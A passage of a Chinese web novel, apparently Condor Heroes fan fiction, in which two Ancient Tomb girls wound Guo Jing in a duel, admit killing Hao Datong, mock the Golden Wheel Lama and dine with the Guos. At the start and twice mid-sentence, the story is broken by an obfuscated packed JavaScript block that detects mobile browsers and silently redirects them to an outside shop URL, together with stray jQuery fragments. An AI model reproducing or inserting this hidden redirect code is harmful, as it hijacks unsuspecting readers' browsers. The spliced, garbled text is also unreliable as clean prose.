l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768780|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 出的降龙余劲,也被她卷入剑轮之中。 玉女心经的清冷剑意、金轮法王的圆转之势、郭靖掌中残余的一点正大内劲,在这两柄剑间短短一瞬相逢。 小龙女没有金轮,也没有学过那门奇异轮法。 可她刚才看得太清楚。她看见金轮法王如何借旋转蓄势,如何让兵器不只砍刺,而是带着内力绕成圆环。此刻双剑入手,她便顺着那一点“圆”的意思,让玉女心经的清冷锋芒流转起来。 玉女剑光如轮,寒意一层一层压向郭靖。 台下,金轮法王原本正沉着脸看郭靖如何应对这两个突然冒出的少年。可小龙女双剑抡圆的一瞬,他眼神骤然一变。 旁人只看见两道剑光圆转,以为那不过是剑法奇巧,金轮法王却看得分明。那不是普通的舞剑,也不是丢开本门剑法去学他的金轮。 这白衣少年仍在使自己的剑法,却从他方才的金轮转势里,抓住了一点“轮”的意思。 虽还稚嫩,虽借的是双剑,不是真轮。 可圆劲已起,前后相续,锋芒借势而生,分明已经摸到了门槛。 金轮法王心头一震。 他方才与郭靖交手那么久,中原群雄多半只看热闹,看胜负,看他到底有没有退那半步。没想到真正从中窥见他武功门道的,竟是这个不知从哪里冒出来的白衣少年。 这样的悟性,若是敌人,日后必成大患。若是弟子,便是世间难寻的良材。 金轮法王盯着小龙女,眼底第一次露出比胜负更深的探究。 而小童子空着手。 她学着郭靖方才的手法,脚下踏稳,腰背贯通,肩臂一线,掌心向前。 她当然没有郭靖那般深厚的掌力,也不懂完整的降龙十八掌。可她方才刚刚亲身接过那一掌,身体记住了那股力道的路。 小童子一掌推出:“亢龙有悔。” 声音很轻,掌力也比郭靖小得多,可那一掌竟真有几分降龙十八掌的意思。 不是形似,是那股刚中有收、盛处有悔的意思,被她抓住了。 郭靖心头大震,这少年只接了一掌,便敢当场化用? 他来不及多想。 小童子缩小版“亢龙有悔”已逼到眼前,小龙女双剑挟着圆转之意,也从两侧卷了上来。 黄蓉在台下忽然低声道:“她们不是要胜靖哥哥。” 旁边有人没听懂,黄蓉眼睛却一瞬不瞬地盯着台上:“她们在学他。” 她声音更低,连自己都觉得心惊:“然后拿靖哥哥当磨刀石练剑,最后再胜他。” 郭靖左掌运劲,试图化解小童子掌力;右手同时并指,想要点入小龙女双剑之间的空隙。可那双剑并非寻常剑招,玉女剑网一经圆意带动,锋芒相续,前一道刚过,后一道已借势补来。 他一人应两路不同武功,原本也能支撑,可这两路偏偏都不是寻常路数。 小童子掌力虽弱,却怪得很,绝非寻常内力。 小龙女剑光虽冷,却圆转不绝,其中也不止剑意。 郭靖原本不愿伤她们。 这两个少年年纪太轻,出手又无杀意,分明只是被武学勾动,前来求一场真正的交手。可只这一瞬,郭靖便知道,自己若还把她们当作小辈小打小闹,必定要吃大亏。 这不是寻常少年,也不是江湖后生来试招。 小童子那一掌虽小,却已摸到降龙十八掌的神意;小龙女以玉女心经催动双剑,竟又带着金轮法王方才的圆转之势,其中还藏着一线他一时辨不分明的暗芒。二人任何一个单独站出来,都足以让他认真应付片刻。如今两人一掌一剑网,一正一圆,同时逼来,他若不出真力,伤的便不是她们,而是自己。 郭靖心中一沉,掌力终于不再只守不伤。 他气沉丹田,方才与金轮法王相斗时那股浑厚内力重新提起。先前他接小童子和小龙女的剑,仍留了三分余地,只想拦、想化、想让她们知难而退。可这一刻,那三分余地被他收了回去。 台上气势骤然又变。 像方才金轮与降龙相撞时一样,郭靖脚下木板轻轻一震,掌力从足底而起,过腰脊,贯肩臂,直透掌心。那不是寻常应敌的内劲,而是他方才真正用来对付金轮法王的功力。 台下懂武的人脸色都变了。 他们看不全小童子和小龙女的门道,却看得出郭靖这一提气,已不是长辈点拨后生,也不是随手拆招。他是真的被逼到了必须认真应战的地步。 郭靖左掌迎小童子的“小型亢龙有悔”,右掌化指为掌,转向小龙女那张流转的玉女剑网。两股掌力同时分出,一股正面压住小童子那道怪异掌意,一股绕入剑网外缘,要以浑厚内力硬生生把那圆转剑势震开。 若再早半息,这一招足以将两人同时逼退。 可他刚与金轮法王大战一场,内力虽厚,气机终究已有损耗;又在方才那一念转变间慢了半拍。 剑光一闪。 小龙女左手剑借右剑回旋之势,从郭靖手臂外侧划过。 郭靖终于在这一瞬看清了那一丝暗芒。那一剑里,不只有玉女心经的清冷内力,也不只有金轮法王的圆劲。 还有他方才打入小童子体内、尚未散尽的那一缕暗劲。小龙女接剑时将它从小童子肩背深处引出,又顺势纳入自己的剑意之中。那点余劲极微,若单独存在,根本伤不了人。可它被小龙女卷入玉女剑网的虚圆之中,绕了一圈,借着金轮法王的圆转之势,竟像细流入轮,又回到了他自己手臂前。 这不是力胜,是借势。借他的掌,借金轮的圆,借玉女心经的剑。 一道血痕立刻显出。 台上下骤然安静。 小龙女收剑,小童子收掌,郭靖也停了。 那两人并肩而立,气息仍未乱。郭靖低头看了一眼手臂上的血痕,又抬头看她们,眼中没有怒意,反而满是惊喜。 方才那一瞬交手产生的掌风与剑气向外一震,正好卷起两人的头巾。 青灰布巾被风一掀,飘然飞出。 小童子的发落下来,小龙女的额发也散开,两张脸彻底露在人前。 霍都瞳孔一缩;全真教那边,终于有人认出了她们:“是她们!” 台下又有人惊诧大喊:“是古墓那两个小子!” 这一声像石子砸进沸水里,原本因郭靖受伤而寂静的会场,瞬间炸开。 小童子和小龙女对视一眼:麻烦来了。 39.不够格 “是古墓那两个小子!” 这一声喊出以后,陆家庄的会场像被一柄重锤砸中。 方才众人还沉在震惊之中,郭靖竟被两个不知名的少年逼得重提与金轮法王相斗时的功力,末了手臂上还多出一道血痕。只这一件事,便足以叫在场群雄一时失声。 可下一刻,闯过古墓的人都认出了两个少年。 古墓。 这两个字近日在江湖上传得愈发离奇。起初只说终南山活死人墓中有一位美若天仙的掌门,墓里藏着金银珠宝,也藏着无上秘籍;后来传言越滚越怪,竟说那里鬼气森森,闯进去的人不是被怪蜂叮得面目全非,便是被黑暗中的冷箭逼退,再不然就死在机关之下。 许多人听过这些传闻,有的半信半疑,有的嗤之以鼻,也有人暗中后悔,自己当初竟没有跟去凑一场热闹。 如今那传言里的“古墓两个少年”,竟就站在陆家庄擂台上,而且刚刚伤了郭靖。 小童子和小龙女并肩而立。 头巾落了以后,两人的眉眼彻底露出来。小龙女白衣清冷,神色淡得像霜雪落在玉上。小童子发丝微乱,衣袖仍利落收着,方才空手打出“亢龙有悔”后,掌心还残留着一点内息未散。 她们听见喊声,同时侧目,没有慌,也没有辩解。 全真教弟子中,一人脸色涨红,拔剑出鞘,指着小童子大喊:“就是她!就是她杀了郝师叔!” 又有一名全真弟子跟着喊:“她们在全真教观中杀人,郝师叔便是死在那妖女剑下!” “妖女”二字一出口,两人都没有什么反应。 她们甚至不太明白这两个字在江湖人口中有多少轻蔑与恶意。古墓里没有人这样骂过她们,师父不会,孙婆婆不会,李莫愁从前再爱逗小童子,也只会笑她爱哭。 小龙女只是慢慢将手中双剑递给小童子;小童子伸手接过,剑尖随之垂向地面。 台下再次炸开。 如果说方才两人武学之奇,已让众人震得心神不定,那么此刻听说其中一人竟杀了全真七子之一,便又是一记惊雷。 全真七子,郝大通,那不是寻常江湖人。 那是全真教中有名有姓、辈分极高的人物。纵然在场有些人未必佩服全真教,却也知道“全真七子”四字的分量。 “杀了郝大通?” “这两个少年?” “方才她们能伤郭大侠,杀郝大通倒也不是不可能。” “切磋能伤郭大侠是一回事,真要死斗,杀全真七子之一哪有那么容易?” “小小年纪,竟如此狠毒!” “未必吧,全真教与古墓派本就有旧怨,说不定另有隐情。” “人都死了,还有什么隐情?” “你方才没看她们出手?不像邪门歪道。” “杀人偿命!” “先问清楚再说。” 人声四起,方才这满场群雄还同仇敌忾,一心讨伐蒙古人,转眼之间,矛头却已齐齐指向台上的两个少年。 郭靖抬手按住伤处,血痕不深,只是皮肉被剑锋划开,按了片刻,血便已经止住。他看着台上的小童子和小龙女,眉头紧皱。 他也震惊,可他不是只震惊于“杀人”二字。 他方才与两人交手,近距离感受过她们的剑意、掌意与内息。那里面没有阴毒,没有邪气,没有杀人取乐的暴戾。恰恰相反,两人的武学干净得惊人。 小童子接亢龙有悔时,眼里是看见武学大道的亮。小龙女双剑成圆时,气息清冷,却极正,极纯。 她们出手虽快,逼得他不得不真力应对,却始终没有奔着伤他性命去。 这样的两个人,若说心性凶残,郭靖不信。更何况她们年纪太轻,看着尚未满双十。 如此年纪,便能把武功练到这等境界,天纵奇才四字都显得浅了。若能好好引导,将来未必不能成为抗击蒙古的一大助力。 郭靖沉声道:“诸位,稍安勿躁。此事或许另有误会。” 全真教弟子立刻怒道:“郭大侠!我郝师叔尸首分离,怎会是误会?” 郭靖神色一沉,尸首分离。 这四个字一出,四周又是一阵低呼。 黄蓉站在台下,手中竹棒轻轻点地。她的目光一直在小龙女和小童子身上,这两个孩子很怪。 方才被人说杀了郝大通,她们没有惊讶,没有慌乱,也没有立刻否认。小童子眼神淡漠,小龙女更像一池深水,连波纹都没有。 黄蓉心思何等敏锐,她几乎立刻明白,全真教说的多半是真的,她们确实杀了郝大通。 难办。 若只是江湖误会,问清楚便是。若只是全真教一面之词,她也能周旋。可若人真是她们杀的,且众目睽睽之下没有否认,那便不能轻轻揭过。 可这两人也不能轻易逼急。 黄蓉方才看得分明,她们和靖哥哥打起来,已不是寻常切磋。若真要在这里动手,在场群雄虽多,却未必有人能拦得住她们。更何况金轮法王和霍都还在旁边,若中原群雄自己乱起来,最高兴的只会是蒙古人。 她正思量如何开口,忽然人群后方传来一道少年声音:“郭伯伯!” 那声音有些急,有些哑,却很响。 众人回头。一个衣衫破旧、像小乞丐一样的少年从人群里钻出来。他身上灰扑扑的,脸也不甚干净,头发乱着,眼睛却极亮。挤过人群时,他被旁人推了一下,差点摔倒,又立刻爬起来往前跑。 郭靖一看,怔住:“过儿?” 黄蓉也微微眯起眼。 杨过跑到台前,仰头看了看小童子和小龙女,又看向郭靖。 他方才也在会场里,只是人太多,他少年人,个子又不高,一直挤不进前面。直到听见全真教的人喊“杀了郝大通”,他才再也忍不住,拼命钻了出来。 “郭伯伯!”杨过大声道,“小童子杀人是因为我!” 小童子看了他一眼,她没想到这个被她丢到山脚下、又在市集里甩开的孩子会在这里出现。 小龙女也看向杨过,神情仍淡。 杨过急得脸都红了:“全真教的人欺负我,打我,逼我!我逃到古墓门口,是孙婆婆救了我。孙婆婆带我回全真教讲理,他们不听,还动手打她,把她打死了!她们过去对峙,失手打死了郝大通。” 所谓失手,是杨过故意的说辞,他知道郭靖的为人,知道江湖的蛮不讲理。 全真教弟子立刻怒道:“你胡说!” 杨过猛地回头:“我胡说?孙婆婆是不是被你们打死的?是不是郝大通打的?她一个老人家,为了护我,被你们打得经脉尽断、五脏六腑破碎!” 这话一出,场中又是一片哗然。 经脉尽断,五脏六腑破碎。一个老人,一个小孩,全真教。这些词连在一起,比“古墓少年杀了郝大通”更让许多人脸色变化。 “全真教欺负小孩?” “还打死老人?” “不可能吧,全真教乃玄门正宗。” “玄门正宗也有不讲理的时候。” “若真如此,那古墓派报仇也不算全无因由。” “可杀的是郝大通啊!” “打死老人就不是杀人?” 人群吵得更厉害。 全真教那边几名弟子脸色难看,有人想辩,又不知如何辩。孙婆婆被郝大通所伤一事,他们自己心里也清楚。可郝大通已死,孙不二也受了伤,若只论眼前死伤,全真教本还占着几分理。谁知杨过竟在这里把前因后果一并喊了出来。 霍都站在旁边,眼睛一转,心中顿时乐了。他最喜欢这种热闹,中原群雄越乱越好。 全真教若与古墓派当场翻脸,郭靖黄蓉若又夹在中间为难,蒙古便能坐收渔利。 于是霍都轻轻一笑,扬声道:“原来中原玄门正宗,竟也会全教上下欺负一个小孩、一个老人。佩服,佩服。” 全真教弟子大怒:“霍都!你少在这里挑拨!” 霍都折扇一展:“我哪里挑拨?方才不是那小叫花自己说的么?诸位英雄都听见了。” 有人跟着起哄,也有人怒骂霍都居心叵测。 场面眼看又要乱成一团,郭靖深吸一口气,他运起内力,声音如沉钟般压过全场:“安静!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772275|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这一声不是喝骂,却震得众人耳中嗡然,吵闹声终于被压下去。 郭靖看向杨过,又看向小童子和小龙女:“过儿,你所说之事,我会问清楚。可人命关天,不能只听一面之词。” 他转向台上的两人,语气尽量缓和。 “两位小友,全真教说郝大通死在你们手中;过儿说其中另有缘由。此事到底如何,还请你们说明。” 所有人的目光都落在小童子和小龙女身上。 小童子看了小龙女一眼,小龙女也看向她。两人并不觉得这事复杂,孙婆婆被郝大通打死。她们去报仇,郝大通死,如此而已。 小童子道:“不是失手。” 她声音不大,却很清楚:“就是故意取他性命。” 台下又是一静。 小龙女接着道:“杀人偿命,天经地义。” 她说得极平静,仿佛这本就是世间最寻常不过的道理。 场中再次哗然。 “好狠!” “小小年纪,将杀人说得如此轻描淡写!” “她们承认了!” “可若孙婆婆真是被郝大通打死……” “那也该交给江湖公论,怎可私自取命?” “江湖公论?人都死在家门口了,还等什么公论?” 黄蓉心中微沉,这两个孩子说的是实话,可实话在江湖上未必好用。她们太直了,直得不懂给自己留退路。 郭靖也皱眉,杀人偿命,天经地义。 这句话若放在百姓口中,未必错。可江湖恩怨牵扯门派、名声、辈分、是非,一句天经地义说出来,只会叫事情更难收拾。 金轮法王却在此时大笑起来,他的笑声浑厚,压过场中许多议论:“好!好一个杀人偿命,天经地义!” 众人看向他。 金轮法王望着小龙女和小童子,眼里兴趣更深:“你们二人武功奇高,悟性更是世所罕见,性子又干脆。中原若容不下你们,不如来蒙古,拜入我门下。” 霍都脸色一变,达尔巴也看向师父。 金轮法王却不理他俩,只看台上两人:“我可传你们真正轮法,教你们更高明的内功。以你们资质,不出数年,必可纵横天下。” 台下群雄顿时大怒。 “金轮法王,你休想!” “当众挖我中原少年,真当我们无人?” “她们杀了郝大通,你还要收徒?” “蒙古贼子果然居心叵测!” 金轮法王不以为意,他只等小龙女和小童子的回答。 小童子却皱了皱眉,小龙女也看着金轮法王。两人神情都很认真,不是愤怒,不是被侮辱,而是在思考。 金轮法王方才那一战,确实有可看之处,轮法很好,内力也深。 但…… 小童子道:“你不够格。” 全场一静。 小龙女平静补了一句:“武功差了点。” 这一次,不只是中原群雄,连金轮法王都怔了一下。霍都瞪大眼,达尔巴也愣住。 随后台下不知谁先笑出声,紧接着,哄堂大笑。方才还剑拔弩张、道义纠缠、杀人偿命的会场,竟被这两句话硬生生砸出一片荒唐笑声。 有人笑得拍腿,有人捂着肚子,有人一边笑一边喊:“金轮法王,听见没有?人家嫌你武功差!” 霍都脸色难看极了。全真教弟子本来怒火冲天,听见这话,也有人差点没绷住。 郭靖神色复杂;黄蓉却忍不住弯了弯唇角,这两个孩子……真是不懂人情世故到了一种令人头疼的地步。 可也正因如此,才显得她们方才那句“杀人偿命”并非狡辩,也非作恶后的张狂。她们只是真的这样认为,如同现在,她们也是真的认为金轮法王不够格。 小童子看着众人发笑,不知他们为何笑。小龙女也不明白,她们只是说实话。 金轮法王的轮意有用,但要做她们师父,还差了点。 毕竟她俩的师父是林朝英,她可是能与全真教开山祖师王重阳并肩而立的人物。 而她们自己的路,已经开始往前长了。 40.吃饭 金轮法王的脸色很难看。 他输给郭靖时,脸色也不曾这样难看。 高手相争,有胜有负。郭靖掌力浑厚,降龙十八掌又是天下绝学,他退了一步,虽不甘心,却还能说是中原武林果然有几分本事。 可被两个孩子当众说“不够格”,又说“武功差了点”,便是另一回事。 更可恨的是,台下那些中原群雄借此机会狠狠地笑话他。笑声一阵接一阵,像无数巴掌拍在他脸上。 金轮法王盯着小龙女和小童子,眼底的探究还未散尽,怒意已经压了上来。这两个孩子的悟性,确实让他心惊。一个接了郭靖的降龙掌力,当场化用;一个借了他的金轮转势,当场悟圆。 这样的良材,若能收入门下,日后必有大用。可她们偏偏说他不够格,而且看她们神情,竟不是有意羞辱,也不是少年狂妄。 她们是真的这样认为,这才更气人。 霍都站在金轮法王身后,脸色也很难看。他在闯古墓时已经吃过这两人的亏,如今又见她们当着这么多中原人的面让师父下不来台,心中又恨又怕。达尔巴则有些茫然,他没太听懂中原话,只知道师父生气了,便握紧兵器,随时准备动手。 可金轮法王终究没有动手。 这里是陆家庄,郭靖、黄蓉、中原各色人物都在。 他今日原本想借武林大会压一压中原气焰,若能夺得盟主之位更好,夺不到,也要让中原人知道蒙古高手的分量。可如今郭靖胜了他,小龙女和小童子又横空杀出,局面已经不在他手中。 再留,只会更难看。 金轮法王冷冷扫了一眼台下众人,那一眼像带着刀,笑声顿时低了些。 他一拂袖,道:“走。” 霍都立刻跟上,达尔巴也随师父转身。 三人就这样离开会场,人群自动让出一条路。仍有人在骂,有人在起哄,有人喊蒙古国师不过如此,可真正敢上去拦的,一个也没有。 小童子看着金轮法王离开,低声对小龙女道:“他的轮法还没看完。” 小龙女道:“以后或许还能看。” 小童子想了想,觉得也是,这人看起来不像会就此消失。不过转头一想,自己可能不会再出墓了,也不知还能不能再看一次。 金轮法王虽走,会场里的紧张却没有完全散去。全真教的人还在,郝大通的死还在。 小童子和小龙女也还站在台上。 金轮法王可以走,全真教不能当作什么都没发生。几名全真弟子握剑上前,脸上又怒又僵,口口声声要为郝师叔讨个公道,只是他们走得并不快。 方才小童子和小龙女如何逼得郭靖运功,他们都看在眼里。郭靖那等武功,手臂尚被划出一道血痕。他们这些弟子若真冲上去讨伐,只怕连“讨伐”两个字都来不及说完,便要被打下台。 于是他们喊得很响,脚却站得很稳,稳在原地。 黄蓉看得分明,她轻轻一笑,知道此事有台阶可给。她上前一步,先向全真教众人拱手,道:“郝道长身故,此事自然不能草草揭过。只是今日众英雄齐聚,本为推举盟主、共商抗蒙大事。若现在各方各执一词,当场动手,只会让蒙古人看笑话。” 全真教弟子中有人怒道:“难道我郝师叔便白死了?” 黄蓉道:“自然不是。杨过所言,孙婆婆之死,也需问清;郝道长之死,更需问清。既是两条人命,便更不能在众人激愤之时草率定论。不如暂且记下,待全真教诸位长辈到场,再一并说个明白。” 她这番话说得漂亮,既没有说小童子和小龙女无罪,也没有说全真教理亏;既给了全真教面子,又把当场动手的路堵住。 全真教弟子脸色变来变去,最终有人冷声道:“黄帮主既如此说,我等便暂且等诸位师伯师叔前来。” 说是给黄蓉面子,实则是给自己找台阶,他们打不过小童子和小龙女。 有人悄悄退到后面,找来同门低语几句。没过多久,一只信鸽便从陆家庄后方飞起,往远处青空去了。 黄蓉看见了,却没有拦。拦也无用,全真教若不叫人,反倒不像全真教。 郭靖看了看小童子和小龙女,道:“两位小友,此事暂且按下。你们若不急着走,不如留下来吃顿饭,也好把前因后果说清。” 小童子立刻道:“我们要走。” 小龙女也点头,她们还要回客栈拿米。 黄蓉眼睛一转,笑道:“吃过饭再走也不迟。” 小童子和小龙女不为所动,饭固然重要,但拿米更重要。 黄蓉又道:“饭后,靖哥哥也可与你们说说方才那一掌。” 小童子停住,小龙女也抬眼。 黄蓉心里暗笑,抓住了:“方才你们一个接了亢龙有悔,一个把剑法融入圆转之势。靖哥哥虽不敢说能教你们什么,但他方才与你们交手,多少能说几句内力往来、掌势回转的体会。” 小童子看向小龙女,小龙女想了想:“那就吃饭。” 小童子点头:“吃完就走。” 郭靖本来还有些担心她们不愿留下,见状松了口气。 黄蓉却忍住笑,这两个孩子说难留,也难留;说好骗,也真好骗。只要拿武学去套,便套住了。 接下来,武林大会还要继续,只是众人的心思已经乱了。 金轮法王走了,全真教按下了,小童子和小龙女站在一旁,像两柄刚入鞘却随时能再出鞘的剑。武林盟主究竟该由谁来做,本该是今日大事,可此刻再谈,竟显得有些尴尬。 有人低声道:“方才郭大侠虽胜了金轮法王,可又被那两个古墓少年划伤……” “那照你说,盟主让那两个孩子做?” “这成什么了?小孩过家家么?” “人家武功可不像小孩。” “武功高是一回事,盟主要服众、要有声望、要带大家抗蒙。她们连武林盟主是什么都未必知道。” “可先前不是说谁武功最高谁做?” “郭大侠是和金轮法王大战之后,又被她们两个一起攻。二对一,本就不算。” “她们也是杀人凶手,怎能做盟主?” “武林人士谁手上没几条人命?郭大侠难道没杀过蒙古人?” “杀蒙古人和杀全真七子能一样?” “孙婆婆若真被郝大通打死,报仇又该怎么算?” “别吵了,盟主不是只看谁能打。要有德望,要能号令群雄。郭大侠仁义无双,又抗蒙多年,不推他推谁?” 争来争去,最后众人还是把目光落回郭靖身上。 不是没有异议,只是没有更合适的人。 小童子和小龙女对此毫无兴趣。她们站在旁边,听见“盟主”两个字反复来回,已经又觉得外面人很能说了。谁坐那个位置,和她们有什么关系?她们又不想带人打蒙古,也不想号令群雄,她们只是来买米的。 最后,郭靖还是被推为武林盟主。群雄高声应和,声浪一阵盖过一阵。 小童子问小龙女:“可以吃饭了吗?” 小龙女道:“应当可以了。” 黄蓉听见,终于忍不住笑了一下。 傍晚时,陆家庄摆宴。 天色沉下来,庄中灯火一盏盏亮起。厅内桌案排开,热菜陆续端上,酒香、肉香、蒸鱼的鲜气、热汤的白雾混在一起,终于让小童子暂时忘了会场上那些吵闹。 她和小龙女被安排在郭靖、黄蓉附近。 杨过也在,他一坐下便絮絮叨叨,先说自己怎么到大胜关,又说他方才在人群后面挤得多辛苦,还说全真教的人看见他就像看见仇人。 小童子和小龙女安静吃饭。 杨过说了半晌,才发觉她俩的心思压根没在自己身上,不由有些泄气。 黄蓉看着杨过,心里本就对他有几分复杂。她不喜杨康,对杨过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775045|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 也难免多一层戒备。如今小童子和小龙女横空出现,郭靖的心神大半被她们武学牵住,一时倒顾不上杨过。 黄蓉便顺势把话头落到两人身上:“还未请教,两位小友如何称呼?” 小童子道:“小童子。” 小龙女道:“小龙女。” 黄蓉又笑问:“你们今年多大?师承何人?古墓派如今还有几位长辈?” 两人想起商队妇人教过的话:不想说的话,可以不说。于是小童子低头夹菜,小龙女捧碗喝汤。 黄蓉也不恼,目光微转,又道:“过儿口中的孙婆婆,是你们什么人?” 小童子抬眼看了黄蓉一眼,小龙女筷子停了一下,但仍旧没有回答。 她俩今天听了太多的话,武林大会的话、全真教的话、郭靖黄蓉的话、霍都和金轮法王的话。 如今黄蓉这样一句接一句地问,虽然语气温和,却让小童子和小龙女想起闯古墓的人。那些人也很会问,很会说,很会把一件简单的事绕得复杂。 小童子在桌下握住小龙女的手,掌心内力轻轻一推:很烦。 小龙女回了一道更轻的内息:是啊。 小童子又推:吃完我们就走。 小龙女回:好,回去拿米。 于是她们一句也不答,只是默默吃饭。 小童子吃到一片鲜嫩的鱼肉,觉得味道不错,便夹给小龙女。小龙女吃了,又把自己碗里一块炖得软烂的肉夹给小童子。小童子吃得眼睛微微亮了一下,小龙女便记下来。 黄蓉看着,心里又好笑又头疼。她问不出话,这两个孩子像两扇闭紧的石门,半点口风也不肯漏。可她们给彼此夹菜时,眉眼间又分明不是石头。 郭芙坐在旁边,早已看得有些出神。 她年纪尚轻,见过的少年英雄虽不少,可像小童子这样的人,从未见过。小童子衣装利落,眉眼俊秀,气质出尘,方才在台上又敢与她爹爹交手,甚至逼得爹爹受伤。郭芙一时分不清自己是惊,是佩服,还是别的什么,只是眼神忍不住往小童子身上粘。 小龙女看见了,她不懂郭芙眼神里那些少女心事。可她直觉不喜欢,不喜欢郭芙这样看着小童子。 小龙女握着筷子的手停了一下。小童子立刻察觉,龙儿不高兴,可是为什么?她想了想,没有想明白,便用最熟悉的法子。 她侧过身,脸轻轻贴到小龙女脸边,像小时候每次被李莫愁捏疼了、打疼了,跑回古墓深处找小龙女喊痛时那样。脸贴脸,轻轻蹭了一下。 小龙女眼睫一动,心里那点不舒服,立刻像被清水冲散了。她也微微侧脸,贴了回去。 厅内忽然安静了一瞬。 郭靖手里的杯子停在半空,郭芙也呆住了,旁边几名江湖人更是看得筷子都忘了动。他们一直把小童子当成少年郎,一个少年郎,当众和少女亲昵地脸贴脸,实在太过惊世骇俗。 黄蓉却早就看出来了,小童子也是姑娘。从她第一眼见到小童子时,便看出那身少年打扮下并非男子。 只是小童子气质太利落,又从不解释,旁人便自然而然把她当成少年。 黄蓉本想开口解释,可她看见众人呆住的表情,忽然又觉得好笑。尤其是郭哥哥,靖哥哥那张端正忠厚的脸上,竟少见地露出一种不知该看还是不该看的为难。 黄蓉心里叹了一声,自家这些人啊,一个两个都是小傻子。她忽然起了点玩心,便懒得解释。反正是两个姑娘家,让这些人被这亲昵劲吓一吓,也无妨。 小童子和小龙女根本不知道自己惊住了旁人。 她们脸贴脸以后,小龙女舒服了,小童子也安心了。于是两人分开,继续吃饭。 小童子又夹了一块鱼给小龙女,小龙女默默夹回一块肉。 厅内众人仍有些回不过神。 只有黄蓉低头喝了一口汤,唇角压着笑。 这顿饭,看来比武林大会还热闹。 41.菜名 厅内众人还在发怔。 小童子和小龙女却已经继续吃饭。 她们方才脸贴脸的动作太自然,像喝一口汤、夹一筷子菜一样自然。旁人震惊、尴尬,那些人心里转过多少念头,她们全然不知。 黄蓉看穿了小童子是姑娘,便懒得解释。 郭靖不知道,郭芙也不知道,厅里大多数人同他们一样茫然。只有少数眼尖的,隐约看出小童子其实是女儿身。 杨过知道,他当然知道。 那日他在古墓里第一次见到小童子,还真以为那是个白衣少年,后来才知道她也是姑娘。此刻见众人一副被惊得说不出话的样子,他本能地想开口解释。 他想说,小童子是姑娘,她们这样脸贴脸,对她们来说或许根本不算什么。 可是话到嘴边,他又停住了。小童子和小龙女没有看他。 从武林大会到宴席,她俩的心神几乎没有分给他一点。台上问罪时,他冲出去替她们说话,说孙婆婆为何而死,说郝大通为何该死。可她们没有谢他,也没有多看他。现在也是,她们眼里除了彼此,便是桌上的菜和饭。 她们之间像有一扇门,门里只有她们两个人。别人站在门外,说话也好,着急也好,难过也好,她们似乎都听不见。 杨过低头看着自己面前的碗,他从终南山到这里,一路吃了多少苦? 被全真教的人欺负,被打,被骂,逃到古墓门口,又被古墓两人扔下山。后来他一路漂泊,到大胜关,身上脏了,衣裳破了,肚子也饿过许多次。 没人问。 古墓两人不在意;郭伯伯今日满心都是武林大会、盟主、全真教和那两个古墓少年;郭伯母更不用说,她看自己的眼神,从来都带着一层防备。 就连郭芙,就连那个从前总爱瞪自己、总说自己讨厌的郭芙,如今也只盯着小童子看,连一个讨厌的眼神都不给他。 杨过忽然觉得心里一阵发堵。 他不想解释了,凭什么要他解释?凭什么他要替她们把误会说清楚?反正她们也不在意。他低头扒了一口饭,饭粒进了嘴里,却尝不出味道。 小童子和小龙女完全不知道他心里已经转过这些念头,她们吃得很认真。 这一桌饭菜比商队妇人给的馒头和汤复杂太多。 有鱼,有肉,有青菜,有笋,有豆腐。有一碗汤,看着清,却有鲜味。有一盘肉颜色红亮,入口甜咸,又带一点轻微的辛香。 小童子吃得眼睛一次又一次亮起。 她从前不觉得饭有什么好吃的。古墓里饭菜清淡,孙婆婆做什么,她便吃什么。后来没饭吃,玉蜂浆喝了三日,她才知道正经饭菜有多要紧。如今这一桌菜摆在眼前,她忽然觉得,外面虽然吵,虽然麻烦,虽然有很多人说大话,但外面的东西真的好吃。 小龙女吃得比小童子慢,但她在记。 她不是贪口腹之欲,只是觉得这些菜若能学会,回古墓以后,便能偶尔做来给童儿吃。她们买米之外,还要买菜、买盐、买肉。 虽然她们还不会做,但可以学。 小童子终于忍不住开口,问黄蓉:“这道叫什么?” 黄蓉正看着杨过脸色变来变去,又看着小童子和小龙女只顾吃饭,心里觉得这桌人一个比一个难办。忽然听小童子开口,她还以为终于要问武学或郝大通之事,结果小童子问的是菜。 黄蓉一怔,随即笑了:“那道是笋干烧肉。” 小童子认真记下:“是什么肉?” “猪肉。” 小童子看向小龙女:“猪肉。” 小龙女夹了一小块尝了尝,慢慢道:“这个可以买。” 她又问黄蓉:“怎么做?要什么器具?” 黄蓉道:“锅、刀、砧板,总要有。笋干要先泡,肉要切,油盐酱醋也少不得。” 小龙女认真听着,听到一样,便在心里添一样:“油盐酱醋可以买,刀和锅古墓里有。” 小童子又指另一道:“这个呢?” 黄蓉道:“清蒸鱼。” “什么鱼?” 黄蓉看了一眼,道:“应是鲈鱼。” 小童子又看向小龙女。 小龙女道:“买。” 小童子点头:“回去做。” 黄蓉听得好笑,这两人说得轻松,像只要知道名字,明日便能把同样的菜摆在桌上。可她最懂做菜,一样的鱼,一样的肉,一样的盐火,换一个人来,味道便全不同。 菜名只是门口,真正难的是火候、刀工、调味、先后、去腥、收汁。 但小童子和小龙女却很认真地商量起来。 